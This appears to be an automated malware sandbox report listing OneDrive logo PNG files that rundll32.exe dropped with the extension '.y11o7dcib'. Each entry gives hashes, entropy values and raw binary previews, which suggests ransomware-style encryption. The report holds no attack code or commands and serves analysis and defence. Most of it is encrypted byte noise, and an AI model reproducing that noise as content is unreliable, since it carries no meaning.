Preview:	..(.... /c8.0.=q.......X.}d..=..D.IU.Z.ZT.$.....f....y._z.Q...... .N@.]....#...:.......\|u!.....t~n@x..3;.....0.C......nq.G.....j...C..C..S.g.[.....^a<#....s2...L.;p.....m.G.'....n..D..........N[.M.Y..,.......[V)09.E..zq.....`m.... ...8.....m..M......}.XK......S.-.M....U.kf..L..yn.....>9.W...a...i...E.yF.3.....~.C@.....CB.m.N.......wr;....!(.....4,.E...e.P.w....:..&x.....}.NL^.......-.O.....K}b.....'(.....u}.\...s.C.u....{..a..\.`..N.W....L.-.R......60/.Z...$0..Q.*.....t...5.....d@.'9.I..~...S....[..o.T......$#i....f2..M.8:.G...x.C.+.....rR.&.....m.oY.V.Z.Y[.r.y.....0vnm.W..+9...F.5,.K...C...+...2.eF.~)..F..~.i].Y....W.?......MI(6U.@..sh.....jo.....:.\.s....n..;j..K.#..{R..H.C../........i;L....==..L.xm.....6...N...T.1..$j..V...I..W......k.[.....F9qi....&,...E.(..@..3...r....dR.@.....g.O.AK.>.Yj.A......UU;!y....2.G.?.....p.Z.~..T.i..>w.....>...N..I.T..0.........;!y....3.L.......p.W.~..T.i..>w.....>...N..I.T..0.........;!y......

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3442
Entropy (8bit):	7.870617021587107
Encrypted:	false
SSDEEP:	96:2GSwBWdyJDbN0gWYdG24xp+t/rAWkV9GXRTcHMrrjS:2GosT0gWYw24xp8TAWkmXRTDvjS
MD5:	3CCF30C9D6B6D3E50FAF6E811E81F3B2
SHA1:	7E0B366BD217DD47A52FD0C5581DCFCCBD5A83E9
SHA-256:	36EA6439CD4FFBFC191E37E5A40794481E4E6149EB93A0A04EA952F8830CDA2E
SHA-512:	292E8E8374D475C554BDE598951F93AED409E36B41DB06EFDEC2D9AE82DEE68131104E329C65DD18A1F49CA75B513D96ED64001414F2F97B6065A0622F892C58
Malicious:	false
Preview:	.2J.....HM.-B.4dQR.....E..../.....?.....#..9f...!g...V..:.Xg....'/..s..fdQRh'&.8,...B.VI.....Cu........gW...\.....]..#..o....vm.X1...4&.;a.$#....@.WAt...<........R.../.E......'.!k....~`..?..Q].c^(-.qa...ZI..9.~........G..d.Y...4..1..i.....,+..c..^~}.ln.?~....MW../...`........^...*JD....j..3..g.....'#.Ro....>'.&;.h5...X.^^+...;.......H..+TH... ..U..i.....+p.H..\K~".iu.'?...M._K{...<..........D..,V......3.....>....)).Bn....~".tm.;%....LV..6...!.....}...^...k.......l.....+.....f}.Mf..F.<>.h#.<.......G^,...<...........k.I...~..%..k....>(.T(....!h+i\|.<"....[.or...o.....X..i$..t.^...j....@$.....:(.Tn...lpZ+(.e}...6W..'.w.........Z].. P.....3..G.[).....\|..:..R]\|b_!).jm..../.GOr............Q..smV.....:..G.X4....r+.Rf..[F8?.\|\|.8#.....GAe...u....._...T..4Q....~.4.2v....uo.rL../!.dY"/.e......Cc[...<.....t...G..-]]...j..Z..6....q`.B3..^.3c]/..}+.....Cc[...,.....t...G..-]]...j..Z..6....q`.B3..^.3c]/..}+.....Cc[...&..

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3988
Entropy (8bit):	7.912974261152215
Encrypted:	false
SSDEEP:	96:NCtFltMduxOBST3KkpuAd5cD1lZnaVcEdEQVZPS:CtXYBST3KkpBOvpKcEhnS
MD5:	48CB11DF50B8B3862214375C9AE94DDB
SHA1:	0179B214AA9D324F76CEAF7D869B6A199467259B
SHA-256:	09E30A4C6D47FCA503724E56A509CC71F65941020CA0F36493691BE5C7EE7A69
SHA-512:	A4DCEAA0BDCED80964EABB1637C7766316A7ED1F92D28177ACE79215B8F15C5954B4F667920B740ED64639C3DD606A23615F92F2513E2F48E0EF2430EEC2731C
Malicious:	false
Preview:	....8.Ot.u$O.).....O.!......-.9...........T.p.8V........@D.#g@..J..!.c..~.......s.Y{C..r....$.a.'e.W..z.'.fg.ztv.bg..qO.5~o....V.zJ!IQ<....n.Oo.LgL..o....,.j...1....e...S:.~\..JK.q<.6z,...B..kB,..2.M.%..\|..2...'..I{.>...fA...u.P..w..1.+..r&.?l,...IA.7.gH.n....$.Y8..\|...e..@z. ...nX..j..._6.'Y`.)...fx.Ani...NB.,.oU[b.W..d.Zr..+Z.y....3.-..fZ..i...I2.iX~.sN..%2.T.,...IA.!.<WAr...$.[=..dP..s....&.j...m[...g...E$.z_\|.d\.d!..^x....\.k.e.Kc....$.F .NxJ.8..Va.w..f.....R._#.0.<.x..{~.UIc...FB.tZ1ZDk.O..f.@<.R.g.....3. ...=...i..../.z.".;..ml.Txi...UQ...d.]%.M..{.m=.@.M.x..[..`...4.../...h..8.".+..zx..Y%...JB...d.]c....6.....&...&...Ly.;...lB...e...[m.eSz.rk.q!.I.=......r 0@.7.W.&..u..)..g....".n....(....w.I..a.;.G.>....(.V.;......&Ng.[k...b.O(..{L..7...,.g...3...(....d.G{..@..{l.2iO...A[. I#.{A.M..H..v..&...5......5..=.....R.F'.c^w.9...!,.K.=...V.qF,M.e.@..>..{.E:...5......5..1.....R.F'.n^w.9...!,.K.=...V.qF,M.e.@..>..{.E:...5......5..5

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	7.922192399365297
Encrypted:	false
SSDEEP:	96:r9VLCELVj4OVw8QZarZicFny8JTYcnvP86BtClNPfMH+O7elKS:7tj4rZ8icFyCTYcnvEllNPUHzekS
MD5:	FF782AF9A48A68855058C517D1EA3DCC
SHA1:	AC738C04951DC23BC8B416BBF94BF58F3389233E
SHA-256:	AA46A4BD6DED57EE1AE93544B05B47A9926AEB94165F95E4EE014B2E1928B925
SHA-512:	3DD19AC35AD0E4EC0B22E64E54B28BA3C2F07BC56C6CCBBB6EB75BFB0316BB0258830A64345523952969160EB7E107D09AD1D4CEA1A3EF9F598A05B6C2DF614C
Malicious:	false
Preview:	.....{W...'T-...S......p.^D..%u....x.eJ5T.6.f......$.y...I.[p.....9ni..e..\.S.......5!.\:....S"..dt.Y.D....?~..hi.b..._.t0..Cb?+.R'..,.6.......d<.^9........~# ...F.....;V..@E.r.m.\.7.....Ts7&..)P.k.}.....T.lt.Dw....\..)rd...F....o..!..t.w.U.72...[/em..u..,.\|.....K.16.Si....C..!k&.[.....bS..#..,.).+.r9....4ne.Xy..=.<.......2.F ......])i{.N......,R..y@.?.c.>.72...[9b6.Bi..f.\|........q .S=........"he........?U..nR...p.y.c:...s`o.HxK.3.\|........k.Rh......^)>9.p.[.....u...r..t./.?.x'...Nl/;.GpJ.\|.>......=.y..,........r";.X.......?...1..D.=.>.r9.....wn.^>G.$.#.......+..e......}{) .N.....}...!..y.).f.>h...[.sn.^x!.(.n.....H.su.(i....E..#qn...F... Y..xe.d.p.#.&s..PjU:..,R.i.~.....X.34.1=.......Lg#i...W....~...4..'.x.<. p.....>;m.Xp..a.:........\|d..7.....n\|*;.p......oM..uN.x.=.X.T.....8<).xZ'.........J.of..5......Yr(7.t.[.....&T..`..u.,.#..s....Sie&../U.=.c.....I.if..5......X~#:.t.[.....+T..`..u.,.#..s....Sie&../U.=.c.....I.if..5......Jz

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8723
Entropy (8bit):	7.67589387999815
Encrypted:	false
SSDEEP:	192:WFnYoH28X0AkGORYOpnhLWQuKWWMx5QOWS:WFLWw0Akb5QLGOh
MD5:	41341C657B1655CDD2C462DDC43FEDB5
SHA1:	6D88C9B7E97DF7B1F89E5D7109A576CD10CF4408
SHA-256:	41B2E601200E4B78A408D1E0E6E5368BF29B988D8D76FA57EB30347369581EB3
SHA-512:	69C94A4DDF884400CD004F4332E81A24548AFFE761B4EB752AFEF71B87F47D488A42D8022B88909A77A4D38DF2FDB3D9DAA1C291E89825F4338649B76CF196F6
Malicious:	false
Preview:	U.PW[{..-q..-..E2.f..y..N.]..O...1...<..f......(...._.5.?5..L:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP..qb3Q.(.\n.P.t ..U.LM...h.m.P..+....Y._A.\.......E..a...2.... xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/"..s\|8..bNL/w..$-........./.9.G..v.._...T[.I.....Z4.V.+.C.9....tp://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/R..qe$..C[.ckG.to_.^......:.2....R..S.H.........j.W..f...?...)" xmp:CreateDate="2019-06-17T15:14:48-07:00" xmp:ModifyDate="2019-06-17T15:17:51-07:00" xmp:MetadataDate="2019-06-17T15:17:51-0.. tQ.e..bm.. *........./.}....\|..^.R..........,EN.0._.>....CProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:9f9a1b27-e65b-aa4c-87dd-38adc36a2235" xmpMM:DocumentID="xmp.did:9f9a1b27-..+r{..2N\5(..y$....LO...{......^..~....

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	7.882329751521385
Encrypted:	false
SSDEEP:	48:JJ0i2nqBEIR/lQ9WV663cp5GzRXVr2bkovr5E2ePffSjD6uXIg3/BD2oHGrhpS:JJ0dqLRT6MM5GFzIrKBPffSNXIgMHvS
MD5:	C77FB13589A6E248B23B3ED218EF8687
SHA1:	41EA54B779206B3657CB96FD40194FBEE6B6C832
SHA-256:	CB5579638EB76C978CCCCEEE04F3FAC3CE61E658228E0E22597972D05263AEB3
SHA-512:	010BE3230B44689261DF05C8D2CAA7480960ED02A12449D1DA6A94762D9833DE6218336389D50BD289D450EBE8B66054BF0F66B2CDC6176767B9FF122CAFE189
Malicious:	false
Preview:	`.:..4.-.\|..d.?.Q.I.rh..u.s6.6.Y..,.....{a.#..Q..U....5i$.\|.,.....'.A..l..g. .n/.."{.....S..].RU-.}....a.uTa..G..k.v...1a..p\1y8.t..L.,q..Z. % .q..QZ)3..s..1...`0.g:.7..Y.%xP....Q.....u.d......#.Z..PbcMM}.e....)RU,...}.4.....H.6.0....r.v...yt...'a}..-.y.Z.eRR~.9}.r6...B.,....V..T+.X.f.r.z...... v=.i.t"..'.~..m.{...E.pV......D.7.../.}Z.xG;1..bA.......s....c<.L..._..,..zZ....3..U...l}.p.8x.}1.....N..I=/.j_........#.2..{AZ.......$..b...U.&....ow..1zv1...:.1..k....U..C..iO.C.W.5.<<......mq.Wk..z3;$....7t..Q).... .c.{.X..S.q#../.%...8sjT.........[.1.9C>._..kS..u..2..!5....}..rSjzlY..._k..s}.......Io...Suakth..&O...cL.?I0s....x}X...~\..:.).....gOzL..\|...M./j..0..."...N./..l.#y.[.m.Z..p..r....bsr7..>.\|a..T.9......,q...I..........8{.%...DY#.z$...&.....F.d.jr..g..>..yYvR.9.....O)...W.;"E.b.rA....6.'<k..E....!.g...W>L...}sG.....X..+Tg\|A]o..x..U.NA9..r..y..'..&....7..%......d....p.Y....\|V.+..}Ye4..A..n@imy....~..\`......`-$...).[W..w..P.....G.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	7.922807066397498
Encrypted:	false
SSDEEP:	96:1kQkjHr1zuNGMNF1lrjh24WI3bjhvP1cFjS:2f5zkGu3AY3vjYS
MD5:	25AF7CE478C2415AB721A6CE5E679588
SHA1:	EB49A7A9049C2636A35CC8ED23CEB205916F55B6
SHA-256:	84BCEDE32BA63AA9DDD83833602954F20DF82224C92AF03FCC342DD8156CAF94
SHA-512:	3AF7D2578E3233C959E6A6D9C39881DC7DF715B0997D29F7C78EC6A74A22D8BE6807743818134BBEA8D79543F547888FC3C2E5DE6EE4177E08C58D522EF9CDC7
Malicious:	false
Preview:	R.<V.-.2....\'@.>.LB..p...A....&L.r ...v..tt.;.]..[........d.......8..SET;\|..H.\|_.............=......JC..w+..'Pn....i......o....2LA_U.x......#.EOS{....Q.S.,.......}.,u.pv.......'.."C.".D.82.<..o.E.%..:.....Aw...k&..k.Dq/%...#..g.\..B.P........Lq.p&...b.5S.T ...b.....N.....%L.j..].<..W.....9n.@...i.......x.:=...D6.tE.#....x.:.l.Mm.T........A......}...M.....C...-....,.`.\.%...\..0H.Pz).u.Aed..R7c.i...Eu..[...T.[....j......Q..<pn.+..K'.....0....3.....c).c\..=..".X.E.....N..Z....8t.g7...s_p.6..rPWT...g.,.e@dZ#....'.h!.....,..w4.gd.Aq.....6d.........d..;.....N.....-p..A...X2....Js...6.8jG.-.+...s6.c....oKJ,......XOV.. .._...;.P(..0..,........3e.....r.B....0....._....M...V./.........T..n.6..@..%[L,.Q1 .T...........^...F.'.a....g.Q_...a].E.....a..;.l.D];.$>.^'...I.]..X.....}.g>\..1.;.)Vl..H.Z.=8..}.#.2A.7O.+......*..$.1..._.d".!:@d....S...q.....C.bh.>t>....~M...cK....r.a.5...)t4.........&..n-...:..g...[....%...p&.x..I~.<...n..nD^..d.J...

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5612
Entropy (8bit):	7.868810416645765
Encrypted:	false
SSDEEP:	96:4PYxBXwzMAt4oz8IAF5/9H0jZ2Hshnkyv5aVCqZWyb5Dj6rkKtLwf9S:42fDoozF5/d092M1kyv48iWybJYkKFQw
MD5:	A19B3832AC3664221AFFDFA9310C7030
SHA1:	FC6566ECE12C3D0A6C12F7180C433FCC270AD330
SHA-256:	0CECB782F2814662DAB4AAF1F586B9F48B54225739E25E3445FB16E4441E7D2B
SHA-512:	07313BC7F230D9D48E285724B2628ADFCA5B5AD1FDEB26D2F2FC9384EC99CB861103E02566E51838CAB725745264DFC063336C80F3E9DB2249651DCCCCE4DFDE
Malicious:	false
Preview:	..y6..4x.5......<.E.....f%.O.`..bt."gP.5.%.S~.....u...,{....}#dyq.e<...TIDATx....d.Y.....3...]V...G.hY....QTVPP .!......W...2... ..J.R!.M!.%..R...........Y0...vv..{...{.....{{.g...U...o...16..)...[..N... ....f,..6.x.b}.V+..vr..$.h...\.d..e...P.R................................................................................................................................O.).;..>q...K..=... ..4...>~.....}#.....6...M!.?$.C;W.S.m...{.B"!d.o.r...FF$D......S..i......,.{...CY.S)B"#...\|.E@.....zD.,...s..C!.."^.}3..Q.2"..H..H8...R.Ds...P....X.v.F..'..I.\F.........Y.')l..}..u{j+....j..w0.k.3e...}...aK]...^.[....HK.\|.D.S.O..gF=..g..H.,..v..b.FTDD$<..K..l....G.y..s.so...\|.9^..M.m..R....a.8.....;...?.<v..p..~t..4.E...n.q#..a..>.Y.i.z..h.x.#.p...^...,%.&....\|....U.H..9_...#........S...=D..q&y8...fw...q...'..h.~yS..6w......Zot.2.`.^...eyz}.Q........=.~.0dl&.h6.l..H...J=...+^~5.z....}...vUV.b_(.b.<.x..cw..<...w.3.]D...5.....it.cv....j."H."...E.@..S.s}.....C(...0..{

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7258
Entropy (8bit):	7.837175642139945
Encrypted:	false
SSDEEP:	192:YdtG5Aw+mZ69+RqX+LOMVz1k3HWRwn4Kb/RmIxlS:YG5AbsigqX+iMZzUJmIG
MD5:	9BB9857275F3560C2E7D222263957D58
SHA1:	003F1A75121F7BAEDF12295E7E5D44A7A403FC2A
SHA-256:	F4D57FD84C82ED771AD7642194C4FDD3A0327470C671D243B1CF4D0BEBCE00EB
SHA-512:	7544BA1C157E88B35141E544CA81E979FDF39CE7F51D9B42AA65FAF6314638ED15B14BBCDD2F9B58103755D43CFCD02FF5B7837FE0B6EF3BAC5A18822D27D318
Malicious:	false
Preview:	j.SR.h..........8AE.'3.~.V.@....JY?.}.D... g?.d......-.)..c...dyq.e<....IDATx....,Uy.O........\P#O.."...V......".BQ..h.ZI,....2V.V..4.ZE...A.c!F#.WA...(^1^.>ww^}.=;3{..9..gf...~_.5=..3.........R.+.....X.8A..'s.R\..@...hZHY...u....P.h...1...0H..............a.. ,.@X......a.....@X............@X........ ,.........a.. ,.........a.. ,.@X......a.....@X............@X..................A...B......x6..Y@D..3...P&K...i..[?.Q.....V.H.....g...`....j.g.......... ,.........a.. ,.........a.. ,.@X......a.....@X...................... ,.........a.. ,.........a.. ,.@X..... ...`.x..a~6`....+....P.L..c.......l ...=..= ...>..v.<n.\.T.xd..`.....}.H..$. Q...D..3..3o....I......D.).8.QQ.K6^{..)&.i!,@T.E\Q..+-ST%-".#9.-..c.+..l..,.W.....K. :...c,+/BP..I.%.....!0...BX.ADe.R...<XG..Z".035...v..p7%)+..t...T....Rp$.:F.g.g9.....z..!T.3.e. ..tA..m^.y....m!,X...".6..T....q...+.R.}M^~.=........cQ.d.k.........).2Ei.AJ.i!,X?.....U.d...w..+........g....."W<Nx.J.....hN..o".nEK?z1.!'D.J=..Sk~zqSH.H...e. q.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16246
Entropy (8bit):	7.887465076323163
Encrypted:	false
SSDEEP:	384:M7YFVF3n5zpEFRRDPp92yJJVgxFtPt0bg:M7OFXJcR/AoVgxPPSg
MD5:	365A765ED0EDBF9BB9B2CB04609440CE
SHA1:	EEE8BDB6F316843DCA1C92F357B374EC75271247
SHA-256:	E16EA27B0F46C21391E118960DBBB5921C069792E6E900E0BBBEE4DB7DE86D62
SHA-512:	B6C45F99FF7360CAFCA1EFA33EB20E07A2B007FE67D11C0AE1D3487C16E30A3CAA478033FE4D3F4D712979790C14B941FA6C55DDDED63F1329952EB64018A009
Malicious:	false
Preview:	.3.q.'..,.O..%....O.=<K....rc6..(w..cR........wP..;x...{P.q....dyq.e<..=.IDATx.....dYA..s#r........E........"#..,..Q.Q?e.D..T.........a.g.........<.G/l.@.[...eDeVEF....7."".?.$###.Pm.^...?8ii.k..a)..=<A....wc.~m.gN.z$^...l.G..1.V.....R<..DX.... ....X.....@`.. ..........@`...,..........X.....@`.. ..........@`...,..........X......... ..........@`...,..........X............6.;....O@=l....MB8<.`...*c..f.w..z....J.l....u.W_...8...Z..X......... ..........@`...,..........X......... ..........@`...,..........X...,..... ..........@`...,..........X...,..... ....X..a.6.M..$.O.Y{..;.M.e<I....f....w.Iz&W....m....5.@_.6.."e..`t..... ....X.....@`.. ...........X...,..... ....X.....@`.. ..........@`...,..... ....X.....@`.. ..........@`...,..........X.....@`..C~6.)....M.......M.9I 5..b;..o.wVq{&uW.N.z.w(.5.6^....2......X......... ..........@`...,..........X......... ..........@`...,..........X......... ..........@`...,..........X......... ......c.=.mz.,.c.]i..{:O.-dI..O...._I}pw..".

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	7.516080561245359
Encrypted:	false
SSDEEP:	24:6ntvwiJJU4C6yHmASMvxpmXE8vf1POuZ16P1v13ySYhSS:6nt4icFlGcvxpAEzKo936SS
MD5:	0BCCD93568EC73938B540666C2BEB7A5
SHA1:	A3DE80B39AF05C2C02E38FD4AD7270BE340DCEDA
SHA-256:	1191FDF97339DD192DBBC227FD3A38A8A64996ADF8BC3BE543E827637B932CBF
SHA-512:	42C637A41A52C2B3D95758BC3EC4B7E16C5FCBBDA4DA60F52BC62A027F0AC701AB94FDE471A96C4BBB1538622A62C2B3535BC560D790244027C9399800274F02
Malicious:	false
Preview:	..t{.<]..].${...;....N..po...[,...,H`'.M..j......k...q5Po._e.W.6{...2.U.O.13i.p /.....#.#.(.N.V..m...,Y{.A.g...~..W.!d..a..Su..9J.t~:...t... .{/..6^._.%...8B.w....g...a...F..e6..$.).`..=...5..^..._.._...:jTa_M...M...<.....%...h....+-.X.6.u.x....GO..x....f3....,...nQ$..&Lf.{..~.^=b.[..u..u.YM.A.r....G.....E...+.0iy.OK.......G3\|......p.j...2...R.?.....`.s...t...?)..o.c.Y..ag..:i.L.q.7....s<.,.8./..;".._..j.....`.g....h.a...)o;.....O...$!e.../TE....;k...ha..^..qZ'\..m.O....t.oI.............{..+...!....j.....a.O.T.q.....\|G.1.`>{.L.=r.5.V\|..dHz6/...5`L....r.W&...UzG.OL./.m.G.>.4^ep.$..,../t.n.x....uz..PM5......'.+.8..cE.-3!..f.j...m..h....xMYx.....o...G9.W.o...!.T.,&..;....W.....Q......f._Go...yNp../..o~>..!....9....=CW.o..x..!.....IEND.B`.......[..J...+w..V.G..O...[."\.S}Y....HS....m.N.KG....d.6.DW.\.*...6o.....f....s.0&........3J.._..........6..`5eI...Tj.V......hK.&q.!..........R4.j4W...<....j @.j]5 ..ok3q...}y._b....8...%..s9.SR............

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	7.615980723578792
Encrypted:	false
SSDEEP:	24:ZYtDjEehjV+6YMHO0fHYu0zEOuQcpPnQi7/NVmtwjIDIrxuZzktY9UpZS:ZYaeV4nv0QpYCcpPQi5gGIDIrDS
MD5:	606FEFF6157E1E5F2838D6FEDF6B35C7
SHA1:	2CFEE2F568FA7E2BB33130C14F4E42DB63F4B320
SHA-256:	DDDEEE6CEEF512E212D3DF7F698D2D1CAC63218DC13A150AFC01584897D05676
SHA-512:	88BD58A88E49113DE4F87A368C18641701BD3282F1A844D8E37BF5ECCA812925F8B55321EC28274EC9C58F4BCAD733B9F62ADF6D8F337BF0B0ED5A0D163F67C8
Malicious:	false
Preview:	(G.B.z.p..8...d...0u.....!..+...2G/..u:....bzp....k?&...s8."L.7k.1....-..P......x..#O..s..c-d&..Ivv~...."5J.U..J,...z.(7CV.s".b.....5.....(......9.............0.Oh.Jin.....+v.gI.....-.\|........_.?.bsI....-.?...>..U...wvU.C.....&..\D........g..d....M.w.....v....-.u..c$..5.I.l.J3q4..B..JS...=.#..k...Z.N?9.:(..%.....C..^..{.,....l...N..c7.....E..=.y..;.....-.zzA:[a+.J...-.....K....:....++5...<..[@.$..b7hJ\.@....h<?.&!.n}$..6T.lFh.......Y]....u#sG.t....#...,k..q........+:-...,...&u.b...:.!../.XL.D.3 ..5N..$...+S,..K?.\|0......>....MhU......f..T...9...h.T.y=.....D.G..1....p.R...... ..3.ra]?.PQ...?FE.../.`.'..`.l..D...:..A.j..=].....R<....Y....>gg..y..;?..%..V.5E..9`{.k...4...g.P.y.......ym....+.=..../.w}......^...k.%..=..v;b.m.v.....\...2... DH....M%.m.g..c.n..z......s..~..G...k.\|eFF. ...4...@F.%.^.....N.$Q;.0.:..rZWo..7...G'9R.;../..&L........-:K.a...-.#......t.a..(.-#>.1...q.?...?c..v}...<H.5 ..<.a..=.`0.....P0...C.`(.....`0.....P0..Fb...c.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.659830203143893
Encrypted:	false
SSDEEP:	24:93mZoP3PT/HBMeQAxAF3pWMqutPeEipTfOVh1UregdH1GuEiWqIqz6BS:4CPDhMzAMLtUpzODei4H1nAqz6BS
MD5:	4F8CE441401DC18718348BCBE6FC35C7
SHA1:	5ADDB80601055EEB5CBB1A745269200D52837BE8
SHA-256:	B561BA4FDCBA9FE7CB6956669C17F73A274DB64024CD67280F84FC655D071869
SHA-512:	7C7D5C9E9CC4A194514E9DDE9F3C87A295844B7C93D80F754FC57C44111F33EF6F5E4590E0BD142DAD9FC8CDE0C03609DCD6AA2CC704C2ABAC57451575253304
Malicious:	false
Preview:	!.......7.$...8.e..0...&.0...>..%.....).1k...#cQq...(bU.G.4....E`...R.{..9.....A.y...........wD..RD.a.<.q.O.w.)._.q..4.....w.#R.H.9.F._.]....msSp..j..r.P._6.A.^.sBN..#3Hc"..s...C..p..f.......i3.....\|.w.5]....6....q.:~.X..sw.o...cZ3...R.p.3......K.N..A.5..5........<...............o..-...gY@zA...d.#I.FJ`.ao36']....1s..Ck.r<.XR....j.].a$....$..d..c.....i....u;~.CT.nZkoi....4.Q.y..4.D...7.?.r..:.Ysv.......JL.hSn....w....N..}.F....zu.\|.......u......~[.A.H..,Hd:.68.......;..K.$B#...&.......!...7O@'o...&...&.BE.g.(.T.e..B.]!..[.c.m.d.hs.syL.@...nena.v............O.q.E.6.....M....j.`..;.?_n.+.Q...-...%.Q...B.v..?@.1:R.+....j..!.9..Xa.w..Q."t]..,......$ .J........o3.w..7.Q..mQ..r.H.........YqD%U.\..K....}~..Y,..:.P...F 0.9.....7.J.r.f......3.`GP...7.S.1...r.q..W...~T...E...5....9}E.....c.........=M....z-..`\|..&DR....$.!..+.j.+8.x{.. ....U.....l\^.:g.f...H...H_P1......L...[......\1.Np......e..:...D.........z.z"=\....2...h!....Gi..4].d.(54

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	7.759418676034746
Encrypted:	false
SSDEEP:	48:pkcaIow+6+wFPeal4Eg3jFYYqwRcx9DNgriS//8OfKlS:pktLw+BPIzg3j5qh9pgT//8gKlS
MD5:	5665B06B66DC660DFF287E5035931CE8
SHA1:	85C062A7141B0E1ADB8139AA22BDF17DF2049429
SHA-256:	9B13E62F9CE8588BA21F25471F67A1AE46346B1BD5D4D5AF2FAFBB843B2203FD
SHA-512:	DC4C60186BD8A2866B110E515A57991D9E5BFCBA035251CAECE816F31474A9CA10896F27156E7E2A6B339D9462B972A15A2484AD0929DCDA47F99CF16493CD4D
Malicious:	false
Preview:	..T.$\..B%.i.n..r.....#.AY.U..Mp....j.j-.%0.;......\|d.I<.~D9~K.z....M2....F.0.....;..c....T.&....:...b!x\M_\}@x...>..9.U..l...as..-.n..`....!dg..(M....quF....:6k$U.,.. .D}....c..y.=....p(_..K..m,'.Rs.^b...}..H...z...\|..c...1..L....}k..qi+5!... ....$../z.{..j......X..X..q...tT2..,X..J.#7...S..O.Qv......o.....G.Md...a....K.0&.g.X .j.sO$B!....;../..(."$.}.S........q.v..... ............+........}k..;T{..V.......!1.c?..c..v.:...9...QQ..G$...(9.......[.....4#.m(.$.Ep..)..q+M..u..,.......".....k.1.$...IHZ...F.md.af.{Y......#^...a....E9qNn.b.T.....ca>aT..Q..RB......Y.........W..F....O.]..3........6l...>.......4.q.].J.ao.5U.../9.3.9."..q.I.{V..S/u..@..`..]..\|8.M...?]..F....`..~.PG6iC.4..2....av5,K....-..8.G..M[u......N...I./_..G.OD.....7.........L..%H..L.....o...%.....v^8....4y.".T...._.Y...=..N.....lp./i\|c.7...y..5.r.Bn.d+.]G..n..:...E.o......Y..~....^...J.Q...Y.M...H......#\..=.b.O..V..'.f.\|.Y.K..v....y..z.&.q..w....u.1...".x>N..Y..

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3790
Entropy (8bit):	7.905633468729019
Encrypted:	false
SSDEEP:	96:GtjXfH3YM9KAufRqJRijwQi3QQ9zIlJcHS:+Hz91ufRqJRijwJ9z3HS
MD5:	23FE23B567D90B594FF6B4F806FF3E9E
SHA1:	50B8D8E7634783B7C72D05A112B98CD4B076B6A7
SHA-256:	496F7546EE8E3289563233C04809D2609BBD8BF739D66B2811DB634D341F3109
SHA-512:	13743D754C94CD1EE55ADABCF06E581804140868C601AD51C87155E7501FEF6D4590A810BFF3983DB33E10246C2019D00AE8655DFAE8BD7125A7B250DEB5DEAC
Malicious:	false
